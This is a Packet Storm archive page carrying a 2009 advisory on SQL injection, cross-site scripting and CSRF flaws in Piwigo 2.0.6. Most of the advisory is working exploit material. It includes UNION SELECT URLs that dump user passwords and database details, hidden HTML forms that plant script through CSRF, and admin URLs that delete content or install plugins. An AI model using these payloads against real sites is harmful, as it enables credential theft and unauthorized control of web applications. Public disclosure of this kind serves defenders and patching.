exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Piwigo 2.0.6 SQL Injection / Cross Site Scripting

Piwigo 2.0.6 SQL Injection / Cross Site Scripting
Posted Dec 13, 2009
Authored by mr_me

Piwigo version 2.0.6 suffers from remote SQL injection, cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
SHA-256 | 7c72c76c16aa2ff272df3138d054b4fa79cd33247ef20496da1fc0296c5d2d0b

Piwigo 2.0.6 SQL Injection / Cross Site Scripting

Change Mirror Download
#################################################################
#
# Piwigo v2.0.6 Multiple Vulnerabilities
# Found By: mr_me
# Download: http://piwigo.org/
# Tested On: Windows Vista
# Note: For educational purposes only
# Vulnerabilities: XSS, CSRF, SQL Injection
# Author contact date: 13/12/09
#
#################################################################

Note: There is possibly many other vulnerabilities but I need to sleep!

XSS Vulnerabilities:

When creating a "category" or a "tag" in the admin panel the user can submit javascript code that could be executed in the context of the browser.
This would not be significant as only the administrator can complete this functionalility, however this can be combined with CSRF for proper exploitation. (see below)

SQL Injection Vulnerabilities:

Note: This app uses "mysql_fetch_array()" which also details the full web root path when a SQL error is created.

Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>C:\xampp\htdocs\piwigo-2.0.6\include\functions.inc.php</b> on line <b>936

The parent_id and image_id and unsanitized however image_id does not seem exploitable. Also when updating an image in the caddie there is a post back that has some possibly exploitable variables "associate", "dissociate" and "selection[]". Below is the vulnerable code for parent_id in cat_list.php

8<------------------------------------snip------------------------------------8<

else
{
$query.= '
WHERE id_uppercat = '.$_GET['parent_id'];
}

8<------------------------------------snip------------------------------------8<

exploit:

8<------------------------------------snip------------------------------------8<

http://[server]/piwigo-2.0.6/admin.php?page=cat_list&parent_id=-6+union+select+1,password,3,4,5,6+from+piwigo.piwigo_users--
http://[server]/piwigo-2.0.6/admin.php?page=cat_list&parent_id=-6+union+select+1,concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20),3,4,5,6--

8<------------------------------------snip------------------------------------8<

http://127.0.0.1/piwigo-2.0.6/admin.php?page=picture_modify&cat_id=7&image_id=1'

[mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 3

CSRF vulnerabilities:

There are some very nice CSRF's in the admin panel. First of all when creating tags for the tag cloud and also creating a category.
So if we combine these CSRF's with XSS then we can login to the admin panel and execute SQL Injection :)

exploit:

8<------------------------------------snip------------------------------------8<

<form action="http://[server]/piwigo-2.0.6/admin.php?page=tags" method="post">
<fieldset>
<label>
<input type="hidden" value="<script>alert(document.cookie)</script>" name="add_tag" />
</label>
<p><input class="submit" type="submit" name="add" value="Submit" /></p>
</fieldset>
</form>

or

<form id="addVirtual" action="http://[server]/piwigo-2.0.6/admin.php?page=cat_list" method="post">
<input type="hidden" name="virtual_name" value="<script>alert(document.cookie)</script>" />
<input class="submit" type="submit" value="Submit" name="submitAdd" />
</form>

or

http://[server]/piwigo-2.0.6/admin.php?page=cat_list&delete=1
http://[server]/piwigo-2.0.6/admin.php?page=plugins_new&order=date&revision=1364&extension=234
http://[server]/piwigo-2.0.6/comments.php?delete=2

8<------------------------------------snip------------------------------------8<

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close